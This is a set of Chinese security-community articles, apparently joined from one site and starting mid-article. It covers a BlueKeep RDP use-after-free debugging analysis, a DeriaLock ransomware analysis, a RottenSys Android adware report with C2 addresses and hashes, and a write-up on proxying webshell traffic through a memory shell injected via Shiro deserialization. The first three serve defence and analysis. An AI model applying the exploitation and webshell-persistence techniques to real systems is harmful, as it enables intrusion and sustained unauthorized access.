1、 RDP连接建立，RDP Server 默认调用IcaCreateChannel()
创建MS_T120静态虚拟信道，并绑定到0x1F信道号，此时是该信道第一次绑定。
2、RDP Client 在通讯的Channel Connecttion阶段告知 RDP Server
绑定名称为“MS_T120”的信道到指定信道号，此时Server使用IcaFindChannelByName()函数搜索到默认创建的MS_T120信道，将该信道对象绑定到用户指定的信道号上。此时是MS_T120信道第二次绑定。
3、 至此，MS_T120信道已经完成2次绑定。随后RDP Client 告知RDP Server断开第二次绑定的信道，该操作会引发RDP Server
调用IcaFreeChannel()释放该信道并释放该对象占用的空间。
4）随后RDP Client 将通知RDP
Server关闭RDP连接，此操作会引发Server调用SingalBrokenConnection()函数释放信道号0x1F的MS_T120信道对象。由于该对象空间已经释放过，这里再次调用IcaFreeChannel()函数执行清理操作，其中ExDeleteResourceLite()会引用该对象的成员数据而触发UAF漏洞。
### 2.2 调试过程
下图是漏洞补丁修复前后对比图：
关键的修改是针对_IcaBindChannel()函数的调用前增加了一个条件判断，判断的内容是stricmp() 返回值，也就是字符串是否相等。
而以字面意思解读icaFindChannelByName(),
就是以名字查找信道。下图为该函数的实现，通过遍历列表，可以确定的是信道对象中偏移0x94的位置就是信道名称。
回过头来看漏洞补丁的代码，实际上打过补丁后，在调用icaBindChannel()函数的之前，也是进行信道名称的判定，当信道名称为”MS_T120”
的时候，后续调用icaBindChannel()的第三个参数，强制改为0x1F。
这里看一看icaBindChannel()函数的实现，关键在第12行的代码中，会将传入该函数参数1的信道指针，写入一个内存地址中。显而易见的是，写入的地方是通过参数2及参数3计算得到。
实际上这个函数就是漏洞的关键，至于为什么关键，我们后面再谈。首先先介绍一下，引起UAF的对象指针是何时创建的。
早在前文已经介绍过，
RDP协议定义静态虚拟信道，而名称为MS_T120的信道就是其中一个。MS_T120在RDP协议建立之初，就会由RDP服务端主动创建，本次漏洞引起UAF的对象指针就是MS_T120信道。termdd!icaCreateChannel()函数用于创建信道，在该函数设置断点，使用微软远程桌面连接工具连接并观察一下该信道建立的过程。
通过分析该函数代码可知，参数2偏移0xC的位置为信道名称。建立RDP连接，WinDbg停在IcaCreateChannel()处，其参数中的名称正是MS_T120
进一步跟踪该函数，进入了关键函数_IcaAllocateChannel()，如下图，该函数首先调用ExAllocatePoolWithTag()申请空间，之后就是对象成员初始化工作。
值得注意的是，在初始化完部分成员变量之后，又调用了icaBindChannel(), 在windbg中实时跟踪该调用
可以发现，此时的参数3为0x1F，此时调用icaBindChannel()将新创建的MS_T120信道放入数组下标0x1F的位置.
也就是说，MS_T120信道对象指针在RDP
连接创建的时候就会建立，并立即绑定到0x1F信道号中。这是该指针创建的地方，在这里还将该信道绑定到了0x1F信道号中。
此时回过头来看微软补丁修复的地方，未修复之前，程序代码在调用icaFindChannelByName()之后，紧接着调用icaBindChannel()将信道绑定到指定的信道号中。
在修复之后，会判断信道是否为MS_T120，如果是，将绑定的信道号重定向为0x1F，而不是用户指定的信道号。实际上UAF漏洞的关键就在这里，我们知道MS_T120信道在连接建立之初就已经和0x1F绑定，此时如果再次将MS_T120和另一个信道号绑定，在关键数组中就会存在2个指针值，也就是绑定了2次。
目前在GitHub上（https://github.com/n1xbyte/CVE-2019-0708/）有一份可以触发UAF导致蓝屏的POC，下面跟踪验证一下。
该POC使用Python编写，在ubuntu上安装python环境即可运行该POC
该POC通过发送MCS Connect Initial请求，触发RDP 服务端中icaBindVirtualChannel()中引发UAF漏洞的代码。
继续单步走观察调用_IcaBindChannel()时的信道号，下图可见此时信道号为3.此时会将MS_T120信道与POC中指定的3号信道号绑定。
之后该POC会发送数据包通知RDP服务端断开3号信道的连接，这将会引发服务端调用icaFreeChannel(),
该函数会调用ExFreePoolWithTag() 释放空间。
之后POC通知RDP
Sever关闭RDP连接，而在关闭连接的时候，会触发默认的位于下标0x1F的信道释放操作，如下图所示（图片为多次调试所截取，其中关键指针值不同不要引起疑惑）：
这里继续单步走，可以发现触发了内核异常。
F5继续运行系统，引发蓝屏了。显示如下
经过智能分析后如下，核心原因则是0x83e9b362处的代码对ecx保存的内存地址进行了写，可以看到的是，当时的ecx为0，根据异常类型表示，当前IRQL无法对0地址进行读写
仔细看下2张图可以发现，ecx 来源于edi，而edi
是icaFreeChannel()的传入参数，也就是待释放的信道对象指针。已释放的指针被再次引用，所以导致了漏洞
如下图所示：这里引用的来源即icaFreeChannel()中调用的ExDeleteResouceLite()，在释放信道对象之前，会使用该对象的一些数据。
至此，调试过程结束
## 0x03 结语
通过以上的分析可知，MS_T120信道被绑定两次（一次由RDPserver创建并绑定，第二次由我们发送数据包绑定）。由于信道绑定在两个不同的ID下，我们得到两个独立的引用。
当使用其中的一个引用来关闭信道时，将删除该引用，信道对象也将释放。但是，另一个引用仍然存在。如果我们可以在第一次释放信道对象空间之后，通过内核POOL喷射，获得在该信道对象填充自定义数据的能力，在第二次调用IcaFreeChannel()进行空间释放时，由于该函数会引用已被控制的内核对象，就有机会造成读写任意内核地址进而达到任意代码执行的目的。
天融信阿尔法实验室成立于2011年，一直以来，阿尔法实验室秉承“攻防一体”的理念，汇聚众多专业技术研究人员，从事攻防技术研究，在安全领域前瞻性技术研究方向上不断前行。作为天融信的安全产品和服务支撑团队，阿尔法实验室精湛的专业技术水平、丰富的排异经验，为天融信产品的研发和升级、承担国家重大安全项目和客户服务提供强有力的技术支撑。 | 社区文章 |
# 【木马分析】DeriaLock勒索木马最新变种分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **胖胖秦** ****](http://bobao.360.cn/member/contribute?uid=353915284)
**预估稿费：300RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**0x0 简述**
最近出现了一种名为DeriaLock的新型勒索者木马，在最初版本中，DeriaLock只是一个屏幕锁,在其最新变种中,
DeriaLock在屏幕锁的基础上加入了文件加密的功能,被加密的文件后缀为.deria。
从显示的勒索界面上,我们发现DeriaLock要求受害者在有限的24小时支付30美元的赎金,否则被加密的文件会被删除,如果你强行退出DeriaLock,被加密的文件也会被删除。
DeriaLock由.NET4.5编写,通过时间戳,可以知道,最新变种的更新时间为2016年12月26号。
**0x1 对抗分析**
出于强度的考虑, DeriaLock对关键的函数与变量进行了混淆。
对引用到的字符串进行了加密
经过分析与反混淆后,DeriaLock由以下5个类组成:
**Decrypt:** 解密文件
**Encrypt:** 加密文件
**KillProc:** 结束进程
**Main:** 程序入口点
**ShowFile:** 显示被加密文件
**0x2 锁屏分析**
在Main的FormLoad函数中, DeriaLock会创建多个计时器,调用KillProcess类的方法对系统进程进行枚举并结束指定列表的进程。
定时器方法:
定时器的时间间隔是1ms,所以在配置差的电脑上会略显卡顿。
由上可知,DeriaLock在结束explorer.exe进行锁屏之后还对许多系统配置进程与进程管理软件进行了监控，阻止受害者恢复锁屏。
**0x3 加密分析**
在加密之前, DeriaLock会计算本机特征码,以确保测试时自己的电脑不被加密。
不同于其他勒索木马只加密特定后缀的文件,DeriaLock会对指定目录下的所有文件进行加密。
C:UsersUserNameDocuments
C:UsersUserNameMusic
C:UsersUserNamePictures
C:UsersUserNameDownloads
C:UsersUserNameDesktop
D:
DeriaLock使用标准的AES256算法对文件进行加密
KEY和IV向量都是由一个固定的字符串经过SHA512计算生成。
**0x4 解密分析**
有意思的一点是,
DeriaLock在服务器上拥有一个全局的解锁指令,在Main初始时会创建一个定时器,而这个定时器的作用就是轮询这个指令,如果指令为1，所有被锁屏的电脑都会解锁
值得注意的是,解锁指令只是删除自启动,并创建explorer.exe,同时退出自身,被加密过的文件并不会得到解密。
当你支付赎金之后,
DeriaLock会在服务器上添加一个ID.txt文件,其中ID是你的特征码,里面保存着密码,密码与你输入的密码进行比对,正确的话就调用DeCrypt类对文件进行解密。
以上是正常的解密流程,如果你不幸被DeriaLock加密了,也不用担心, DeriaLock是可解的。
通过之前的分析我们可以得知DeriaLock使用AES256对文件进行加密,并且KEY和IV都是唯一的,现在让我们再看看KEY的生成过程.
IV的生成过程和KEY的是一样的，唯一不同的长度,所以我们完全可以自己写一个解密程序对程序进行解密。
在加密文件时, DeriaLock会连接远程服务器更新其最新版本的,并写入自启。
所以我们可以 强制关闭计算机,同时挂上WINPE盘,在启动盘里运行我们的解密工具,对文件进行解密。
**0x5结论**
由于DeriaLock刚出现不久,加密的强度和广度还不够,对于专业的安全人员来说,可以实现自解密,但对于广大的普通用户来说,保持良好的上网习惯和安装杀毒软件还是有一定必要性的。 | 社区文章 |
# RottenSys 事件分析报告
##### 译文声明
本文是翻译文章，文章原作者 360CERT，文章来源：cert.360.cn
原文地址：<https://cert.360.cn/report/detail?id=d16cf0e2a477d1f1013c7154ef4c2893>
译文仅供参考，具体内容表达以及含义原文为准。
> 报告编号： B6-2018-031902
>
> 报告来源： 360-CERT
>
> 报告作者： 360烽火实验室，360-CERT, 360NetLab， 360VulpeckerTeam
>
> 更新日期： 2018-03-19
## 事件背景
近期，CheckPoint公司发布中国地区多款安卓手机被安装了一个被命名为“RottenSys”的手机恶意推广软件，包括华为、三星、小米、OPPO、VIVO、金立等手机。
360安全团队在进行相关技术分析后，确认“RottenSys”主要是通过一家名为“Tian
Pai”的电话分销平台来进行传播的，攻击者在该环节上通过“刷机”或APP（再root）的方式，在手机到达用户手中前，在目标上安装部分RottenSys应用程序，从而达到感染传播的效果。
“RottenSys”在感染了国内众多安卓手机后，会伪装成“系统WIFI服务”等应用，并通过不定期给用户推送广告或指定的APP来获取利益，给安卓手机用户造成了一定的困扰。
## 感染趋势
360安全团队对“RottenSys”进行进一步的分析跟进后，统计了2018年1月1日到2018年3月15日，感染量总计 **185,317**
，相关信息如下：
* 相关控制域名的活跃度（跨度1年）
## 技术分析
目前有如下4种和“RottenSys”相关的应用程序存在：
其中自称系统Wi-Fi服务（com.android.services.securewifi）不会向用户提供任何Wi-Fi相关服务，实际上它是一个“下载器”并与其控制（C＆C）服务器通讯，接受下载指令实施推广服务，具体细节如下：
1.伪装成系统服务进程，该恶意软件实际上为普通应用程序，由于大多数普通用户很难对这样的伪装做出正确判断，因此恶意软件的存活也就变得显而易见。
2.巨大的敏感权限列表，其中包括像静默下载这样的权限，使得用户很难察觉到恶意软件的更新、推广。
3.使用开源框架MarsDaemon、广播等手段保证自身服务长期存活，即使用户在设备关机重启之后，恶意软件也会很容易的启动起来。
4.推迟操作，当用户中招后在较长一段时间内尝试接收、推送弹窗广告，避免让用户立刻感知到。
5.恶意模块通过云端下载，并且使用开源的轻量级插件框架Small，它能隐秘的进行恶意模块加载，并且模块之间代码不相互依赖，这使得恶意推广变得更加灵活。
此外，360进一步分析对比了该样本在2016和2017年的两个版本。
* 2016年5月份的版本（7bb8f11feb360d2835317bb93f44ab69）
主要行为：
1. 软件启动
2. 拷贝（googleuz，busybox，debuggerd，debuggerd64，glesva，install_recovery，googlegs，googlesy，libsupol，sdk，googlesq）到FileDir并提权为777
3. 调用googleuz可执行文件，创建并写install.sh提权为777。
4. 判断手机是否已经root，如果没有则执行install.sh脚本
其中
install.sh:把所有释放的文件替换到系统
sdk.apk:发送心跳包，检查更新时间，关闭com.qihoo360.mobilesafe，私自下载sample.apk，私自安装，卸载,弹通知栏
glesva.jar:与服务器通信，上传手机设备信息，检查更新，检查自己签名，检查sdk.apk信息，确认hash，签名等并执行
install_recovery：执行googlegs googlesq:监控释放的文件是否被删除，删除则再写入 googlegs:执行googlesq
* 2017年3月份的版本（8e87e9b22dcb1dd4d5f4d92cd3a33e96）
“df”, “rfg”, “bm”, “gcgdd”拼接成dfm.zip
dfm.zip结构
* 版本变化
* 隐藏了busybox、googlesy、install_recovery.sh、libsupol.so文件
* glesva.jar功能与gleac.jar功能一致
* C&C: 版本1：<http://www.sdkrsdk.com:880/apiv1> 版本2：<http://www.uuyttrtf.com:880/apiv1>
## IOC
部分C2：
hxxp://120.24.17.143:5683/
hxxp://monaesr.com:5683/
hxxp://secendtoday.com:5683/
hxxp://diokiy.com:5681/
hxxp://romanout.com:5681/
样本：
com.system.service.zdsgt
ce75af9762d86be8a22bb9257e6d364d
a7cfa030add526171b8e1eba0e03c452
d047bb92224a24f38bef31bd3a0c352c
c5e06fef54e8578f2cd37f570e24bb87
4ec7ca787b88921ca259b8e549331dd9
81479477e0316f969073e3b51530e9f6
0fd73dd2c891019e74fb55dde0c44254
ea3fa0741edc318fbd1edf4bfdea84ef
2e27befd3af85c0f3238bb53bf3f9bee
b95f01f543c078b888acb7d325c38f4b
540db9b2778f7134ddc109edbce90d9b
22e42c5393cc149deefa8f5a0d569712
980effdf94b17e9839c426a0f5ffee8b
c0a9480502849890fb5c0f69bfa35df1
af0e718e7f0a4793b11b92ce8ce73113
7a955280a3c530286a290a54e544291a
7c6a22556300e72c3a5ad633d9538bf9
c5bfaf599f21e3a8ca396fa5025643a0
89c2c78f76baeef1eb380dee335f396b
0a3d784dcdb1d9b4ed6b77df11b496c7
0d44cfc4defeb5f73e518a2551b5fa30
1e7498d2b952142942c2f86b4d59d4f7
87d9afc59f0dca0ccf4e656c618bfb7f
dee3aae3f9aac17786ce2896a4fb0286
5607239550f52ccbea300aa59869bf0b
6bb8e5534b795f2cb2f8b8b1056a1656
0f2ab581d34cf706f050849a24e55cbd
ce8c37535384af5b66191bc1d1aabb44
940b16197895e9305588af80faaee5a0
4ff0196c3952e3abf60d93354b36ad00
9a06b3c4c16806e45f37ba74dacfc1ea
7199b4aa6fbcd6019ea5138ac1b803f2
43d185d83781d43ca77b0dbf54ee320f
070d9e2179141778536bf6bcfab8ed60
315fdfbe720e213db83a6a28cbbe91c1
5b38d72a6f25591f4c61d963f4c6f91c
4c34e9769c322a2660ea8f20872fb02f
dc057fed8c7a9fed2ee2e287ebf60a47
cbc98e799b96b2853c35b66606b9fb45
9bc417c9dff751f756cba85bacc0a38c
9bfbdf114870f817f5b7ee73724cfa2c
17010e9cf44ee7d4dca776625c0b5845
4839b5ffdd8893bab3eba3b17773a0b1
058fd3d9d6a596a4fe4dcbf18f82f403
8ac815ec57fba3caf4cb6ce6754e3d8f
c70f9327296359d4dc273d595b8cfeca
a29b71e28fa4906fea8aa5c8423a2357
c34822f85085470547728897ad7bc28a
50de1a4f08c1860b539c2a812ca6bdff
da7ce60e09dfffcb0f9d712cab8cffc6
2b37e1e5b3ec942bf2954779de563635
com.android.yellowcalendarz
4c9d6f77922b58557e914e01aff45957
8adc64bb66432580e33e2b78fc2ffa71
com.changmi.launcher
f08d9a65e8d65c2cc105337965e24802
6f14742294c6d15a772e9fbef93279a4
2af1678d715e36c800452d0bc6823b3c
c1c14aa8b4356bbf27aeb8b347d267c4
dfc477fc57f2ddf873dcae40658638bc
89c4d26c1d01a8fcb3e2d489bb665c56
32fe1828fe3b35a4a47ba48d364fc985
9edcc211bfc571724a4b67898fc04525
ba303c3b2d196016eb4aa9052055e078
bd6d04bd6badfc1169fafe9f675d9670
d35a316d764a06a9de64b6ed891f75d2
4e0246792d0cccb7fef68dedff748c82
f3330371c2eb6b7d9d243fe95d98f103
77a146dcd7701a7f01fdd512d0c2b01e
0f646b1eef2c77e8e4bfe93e34e5e8bd
5e0d79af85e4a13284fdb7a5dc4f7b12
6c2c033dbe67e55460df11e6c8594030
9025e64deefe7b6503024ca70734ff48
89e57d1054902b760421cfa9a5381c6c
460c589664a8f6c744ebcbe61016fa43
d57d00dd346bed3ad4eeb7ccf56a40da
a05e1e3f3d24fcacf42a90f2fbaa9a6d
7e4362cf77055c54ac0b528baf50317a
fc30433d46f47bed00b546790cd32b36
635cb3f3cdec9b6c8b8e577e260bf7fd
9bf71f2f5bcd43a0f77496e6db93cdf4
e750ff841dacabd982596469a83ff820
2aadaaae282770e2b0278a68f175ca65
a8aa361ed3a2f514f1e43ea5be4d900a
5ceb54a3484e3551352413d6946f2890
862a9f6d7e60838ace14fd39f66c2e71
d0f9372f9ecf63e8f2572fc39981fda3
f7b39d07053ae847132a583020d72d09
05b890cb7817a1024736c6ce3dfba51c
a1db1f3da3ae315254ee9c77478e7825
8d608dd8f6818830d8162f28fb485c2d
24b1ddcdf75b4d7b723eb4afe03d0ef2
f3a8b46dbfdbcc1ed6052763e12761f3
6b885306935bac930ea718866aafc0ad
ca98ba770af6eca6bacdff0d1d853ba8
1cc17548f5b81b9e786a59f62f4b5bab
e2a3a6792aa299be1a5200234049f8e0
69943807eec08e5a5bddf169e21e0ba2
815447c373f4c9ebb143d04e41cbe23e
16d58d92a3cd3e863712b7c53460a8f2
4829b2d351dfde0131bfa05e7b0fd54b
0829f9adef28c9b929bcdb21f1c53227
0b7f08886e1e44c8ebef462b8ed7d7fd
03c55651b475d2c708fb8c186f571d0d
f324804e8fe1804a2236a4b8dcbe44e5
269f386068ffc89621fd66c8fe17997f
eb7d09a9427405b0c18a4d52541ccb07
cceae35f028ddc28e44606eb3f45ad10
aed30dc3b5e3dd18719cf25bb9ff3a88
5c3f57f58bf29f7c8efc1961a709ceab
e071b478749cbfbc3c3d8c21c4d8d826
b8d43cddee376c52dfb03cb376ab1891
75d48f07ec196282ad3d1941413c7c8a
2be51668ced318e329f801da4d133c66
60e8166bf7c273be133c54cd903e563c
bcac62a81d92958e3daa25baca0cbeae
0e60bdbacbb05a7d6086bfe78d55272e
3b05f10301d5657df466c641d54e547a
2ee68b9e4c8d00acbe6510b147e3548a
b711ed8c57d34ae5d0ae3b6c8f729659
c8cb414aa1a1e706864f491b39c72f48
9a47c5f887507bfaf990bd78cc0b585c
9c53e46b696ed8e7c2b11e65615f1e13
d82724cdc56f49c61de96be96fc7b76e
88471f83a4bab72ad53fd74d46526499
3e6534797d6720d7f94adbdab75ffb10
ae4d9899ef877cc516e79dab3ed608da
5cec87e2564469e3fce3a194da3c0e36
c86bd098c90de64157e9ab80b3520de5
9ba591ad1369bc91de259deaad437b0b
8c126e1f814bb9931c977fd7ad1d970d
e09176fc63156f1d9aca0474a3536dba
ee84e167c32f3b961f60fd5eb7e19e1c
bdf9168d7e7cdfe90c0481fe19cb7b1c
55394ad65b47f0dfad6019d7496f04ce
f6c35277891179aaa90bfd6c73331fb9
ccd2810d6e408596ee6b29aa3fd9301a
9dec4275b66425c1a7a7997ed3b896f0
9181fce62cb1bcfe53f60507d64a897c
ba36f04898a6d99439162d141846865d
b9eeee33c511cd0af1d947ea0d5c40d0
1bdf628cefd07ba8e15e58827a42d12c
88bf7d99b8458008cb949be820c46c9c
632878c26e9d5b27bcc36c18d2d6a0bc
381a9d4e75dfaaf29cf4b045cbad6eed
0ff692e295c1763917562226db4cfb7e
c039c6fdab4859ff36f3d3a1022c4655
f0102dc996ae9dafe10dcb68a26e4171
9b55a7e41df442bd806b47c48d805a1c
0f58559701ef537f440faa2dd967233e
c068b06ad9fa1174430cfbc159322901
f04ff303f58629e70c66f8b8245d5c65
c30f97b375703349cdf943bb8ca41014
e2612270c4e546b16c3eeff0dbd24e70
54d054dca6c35d029ccb8e955b5247a5
fd871532d8f63408e332dbbfd879d59e
ededafb4931881e9ecd9ec278f3bdffa
123d670398cda1aa9ac9277e7c04dd6c
ea5b700ec854278a65141e16655d148b
df828431ab70be4755bae9ded93ad374
2761107e627d67c4c6abf0489d8d9d71
be9eb0270ec4fa7c86685cc46e773dee
5d70d1d0193cd550d85d634f35432aa5
cb065225577477ba40c93d16811c2ffd
98cc57609d794b2037c2776a1f38ca4b
4d66cd3d0fc188cb1b2bed23a630c0ea
31cc9dc8f97ebc81516865c37711ef32
524a58ff4c7db8874c6a96803ffef77f
9f22aee6b8634cb5d7ef2067969b4afa
15181164028e29df1d13d4f884d9a6fe
4c5ca7231104beddaa8e368ea425b0e5
795756363873931637cf340a93823deb
2c074ea67afbfb2df073e9fa87f786fe
c9040451902ada46c8359ecc60bc2adf
1613182760a2e9c88f33b685b8f9df13
a324745eb52c996e2a7e2c34fd87586a
fa68402f4f901811574726a3893f45db
109170526606c7df443bb9083c279db5
cc8f7564ec15495e60b72ed14a5bc145
27fb26672df4a2e45c9d017fc088b40d
18e02d55bd1b65bbe10496b759fffbcd
02dd1f0bafd38b986146a6493f43455e
8d09a78739f3298cf7488ea9cb4b9bf4
8727ddf831ec50988c5fdaa37040d3da
b4e19c9a830bc95a6cdea8ee28d312a3
aa22416a189f50d124ecdeae37f7fa94
206c4da5e7f85f149d0d917033184bb1
895420a3ba5d503bc6fbbbd6e8c1fcbd
7dc05f36c348b7ac4ac7f4150696edef
34953b402eaa09f009d69952e4c64b45
369076dc5ca9356919c0434bfc2742fd
7444c4470b60263eee78a53f58b296c3
36fc1f72a9a643fdb13079a028ac80df
71cc14167e9f78cb184fc349ae73c8c9
73e53a478c8f41f21f9398e7b8258ad5
77e7f55f87a877601a08b163946f217c
6b03c9c500713c4eea110fd809b63732
5e8107ad981791e8f4010322c9ca5978
4aecaa5a756c6cab01f76912a62fc570
d75d358b546fec5102a2ab0da2e5c2e5
9179808633d3ab86555b0f41f0ec7be2
dc0d9d5550a2f8fe4fa7210ca81b7e64
eb853add32138c126540d6886bed5242
2b53a9bd0ed3ef9a2fc5eb82061e3f2d
7042959f4b2150d47d320fc0a99b6067
4df0e3627cbff3739ed3bfc14f52a0c8
12157841d4460f3f06263e69cc4f82c9
9859e11bb323b0fa2689bbddff746ca8
a41b6ab8fbfaa2b0d31bd833b94c843d
5218c558f8f7207d78734dbbf483be18
0b9ee77e156ee25f171f97ac86390896
0757ed3eec6e76ea5c492d69954e2fca
367950cbe2047cb28a1acb1ae90ee79f
379eb84cb2b9f00e28412a3eb425e573
364f1e35e6242ccb045340b370d1711d
5b14a39be9500c6d2848c91683e11e2b
509ebe703b8222f4cfb7e0340d157091
54935fd9d294c9b75171f4144060842e
d144d1526ff372a6c95be3b8a6bc5f6d
539ab7405c08aa20bfc2a18b6c501450
9a30cee0034e50cba39c4e072ae557ef
57d07d9de9150ba762c576310b77f4c6
ea70804a3adca661a17f4f20e4c1e7da
e72316eef66de7ddf4ae5e52625e4d73
b6113fa346e961b7cb5a0f0c307a3d10
0958563f345a30005c3a90e57e3f13f8
a1899c45bfe3d3a0d9e9659bbeb1a063
b7c69de6d0171a2f0436d1740f8a2503
9256b67bac7e961220b535e018824ef1
53a24cb5690bb50ede84409af736ca03
e1025b2c0bc9fb4660a029bf888547e7
6a44bb9640d53c055daf880ba4801eec
0e907c2942c0776db2a95facd2231408
2b366acac79d799db7062183db8c3d3e
1bfd3cf1cd317e7db657dcdcc28e822c
0e7c97f1ed9c2236951bb3161eb69cd2
c7e6dae0f213d425a0cb38c980b8645e
a51584e4b47c777e1680847f28426a33
0bbfb1262c09158a48379608e794271d
c53618c045b5a7e70f30a050e24e81a3
e28dc632352f197e04614c3b8c2e3d42
a18d4cdc7f650811e13c0a1cd85438ca
a10241e7c0c8212304476747310956fa
1e61114e4b7d4b8784237ce7f7ca0c15
fdedadf831679945173bbfee25da2a0a
b100579adea4aed86a28e34f9c43947b
05a603715e37e3b25d5a9029cdb3f3b4
5958d3a1cff4c7ba29050027be7237b0
9fba39d48db0b6e093f6dfc271ae54d7
1babf2a4802a09cd686bb3319e989b8b
00008578b673f6611421655c7459a109
e647de1a5e871036fb37722514e51b41
af1966db13817c0f49bd5716dfd91769
e31b27b6fcd41bd3219a2749c8baa906
864dd9db7a91db72185b5404bd38cbb1
8fcf92fa42d715a7ea7d0c844546c4ce
caba1801c9c1ab6ee007a3495624a001
1a920df12bf08ba85f92c32e50a68db1
07bf29975662fbac2778a3f6370633b7
49d26e11952ae0751d5bf7dbb73631bc
5808113836861beb3e1b3feb61448a97
98b382223385e8c957e2f5715d6f6018
ee9011028effb0dc5f6dbf622b996221
f8fa306a851490a0b50667184fefc1ca
668bd760f1ace1fd02128962afc14a2f
46302a431908b02f77e392d801e73ff7
72cfaef1ea31b2d027f120f17c00aacc
60f97906a14ab4d63df5cdefca8c511e
2b8c58ec5178d999effb632700d3045d
dcd6a8ca38a354cf03f1647fd3aa337c
dbf61e628be3f98c5062994262aa0e03
9f32b0fc9ecb761e876d2ddc9696859d
com.android.services.securewifi
91ce627a14fe0b3f5778d2e315dbac6e
42d25f8019d25ef17575d56f24402626
2d00de0dac22da60b513ff01542c428b
3e5f2ed2041fc3817a255b30c02413ce
8e87e9b22dcb1dd4d5f4d92cd3a33e96
5ac9ed142573832c3bc783cc5d5d05ef
71e3460660ce04ef38b2a7ff33b3e5bb
d1eea920320efeedc878290dfeec9806
## FAQ
Q:为什么有的厂商感染量这么高，是什么原因？
A:厂商被感染量的高低主要取决于该厂商在“Tian
Pai”平台的出货量，比如近两年某厂商在该平台的出货量一直都是比较高，所以它也成了“RottenSys”感染的一个重要占比。
Q:“RottenSys”通过什么途径感染到目标设备的？
A:“RottenSys”的感染途径重要主要有两个方式。一种是物理接触方式的目标安卓设备刷机行为，黑产者通过物理接触直接变更目标系统。另一种是软件方式的安装APP和进一步root目标设备来进行“RottenSys”感染。
## 时间线
**2018-03-16** CheckPoint发布相关安全报告
**2018-03-19** 360完成进一步分析报告
## 参考链接
1. <https://research.checkpoint.com/rottensys-not-secure-wi-fi-service/>
2. <https://thehackernews.com/2018/03/android-botnet-malware.html> | 社区文章 |
事情是这样的，最近有个渗透的小伙伴找我，它通过shiro反序列化植入内存马获取了一个shell，但这台主机上有负载均衡，所以通过冰蝎、蚁剑等连接工具上传大文件会上传失败，需要我这边提供解决方案。
## 问题分析
### 问题一：为什么shell管理工具文件上传需要分包？
我使用蚁剑做了测试，蚁剑配置shell可以在`其他设置`中设置分片的大小，默认是`500kb`，那有小伙伴可能要说了，那我将这个值改成一个比较大的值不就可以一次性上传大文件也就相当于解决了负载均衡的问题。
理论上是没错的，我们改分包的大小为`5000kb`试试，提示 **上传失败！**
抓包可以看到确实发起了上传请求但是并 **没有获取到返回结果** ，并且我们可以看到上传的内容都是在`z2`参数中，那么
**会不会是请求参数有大小限制导致的？**
经过查阅资料， **Tomcat默认参数大小为2M** ，所以才需要对上传操作分包上传。
### 问题二：是否有其他方式上传大文件？
虽然webshell管理工具没有提供一次上传大文件的方式，但实际上我们也 **可以自己构造一个上传点通过解析上传表单的内容实现一次性上传大文件的需求**
。虽然这种方案也算比较可行，可以解决目前的需求，但是并没有从本质上解决负载均衡下的webshell连接问题。
### 问题三：有什么方法可以解决负载均衡下的webshell连接问题？
其实在很早以前`Medicean`表哥就分析过这个问题，可以参考[负载均衡下的 WebShell
连接](https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA)。
在这片文章中他提出了一个比较稳妥的解决方案，即
**实现HTTP代理，将所有对webshell的连接请求都代理到指定的一台节点上处理，我们只需要和代理交互即可** 。
虽然`Medicean`表哥提出了解决方案，不过并没有给出具体的实现代码，所以我们只能自己去写，不过这个逻辑本身也比较简单，
**请求代理url时构建一个新的url请求并发送到指定节点，最后获取返回结果并返回给客户端** 。
## 环境搭建
这里我开了两台web进行模拟。
tomcat **模拟负载均衡** 的主机，这台主机上有一个webshell（<http://192.168.3.1:8088/test666.jsp>）。
springboot启动的web **模拟代理**
的功能（主要是为了方便调试），需要将所有对webshell的请求转发到tomcat中处理并获取返回结果(<http://192.168.3.1:8089)。>
## 问题处理
首先是URL请求的问题，由于我们并不知道对方主机上是否有其他的第三方库处理HTTP请求，所以选择使用JDK自带的`HttpsURLConnection`来处理URL请求。可以分为下面几个步骤实现代理功能。
### 步骤一：接收请求内容并发给目标
在获取请求内容时，我们的代理并不关注目标发送了什么数据，所以我这里决定使用`request.getInputStream`获取请求内容。但是这里有个小坑点，由于我是使用springboot来模拟`proxy`的，但
**springboot在到达我们的proxy Controller之前会读取InputStream中的内容，所以在proxy
Controller中去读**`request.getInputStream` 是获取不到内容的 。
由于渗透小伙伴给的目标本身不解析JSP，我最终一定是要打一个内存马给他的，所以我这干脆找了个[Filter的内存马](https://github.com/bitterzzZZ/MemoryShellLearn/blob/main/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC/tomcat-
servlet-filter-listener/AddFilter.java)，在`doFilter`中添加我们代理的逻辑。
### 步骤二：获取目标返回结果并返回给客户端
在获取返回包时，还有一个小坑，蚁剑的返回包是字符，所以我们直接用字符流获取返回内容并输出是没问题的，但是冰蝎的返回包却是字节码，用字符流处理会有问题，因此最终还是用`OutputStream`获取响应。
### 效果演示
下面是 **蚁剑** 的测试，`proxy2`是我注入的内存马的URL：
**冰蝎演示**
### 内存马种植问题
在本地调试通过后因为要把代理打到内存中，所以我在本地搭建了shiro测试。但是当我通过shiro植入内存马却爆了请求头过长的问题。
但我用[GITHUB](https://github.com/j1anFen/shiro_attack)上这款工具注入内存马却没有问题，抓包分析下它的内存马种植除了有remeberMe字段，还POST一个dy参数。
那我们分析下这款工具是如何注入内存马的。
当我们执行内存马植入操作，主要会交给`attack.core.AttackService#injectMem`处理请求。`GadgetPayload`生成加密后的Remeberme的值，将这个值设置到Cookie中，并且植入内存马的密码和路径都会被设置到请求头中。接下来通过`MemBytes.getBytes`获取要注入的内存马的类的Base64后的字节码并设置到dy字段中。所以在`dy`参数中保存的才是真正的内存马。`Cookie`中保存的只是加载内存马的Loader。
分析过CC的同学一定知道，`TemplatesImpl`中最终会将`_bytecodes`中的类实例化，所以到服务端会执行`InjectMemTool`的构造方法。
`InjectMemTool`构造方法中通过反射获取`request`对象的`dy`参数，Base64解码后通过defineClass加载类，最终实例化后调用`equal`方法。这里作者还是下了一些功夫的，为了压缩这个类的体积，将反射获取字段内容抽出来构造了`getFV`方法。
在作者提供的内存马中，`equals`方法会去通过`addFilter`或者`addServlet`添加内存马。
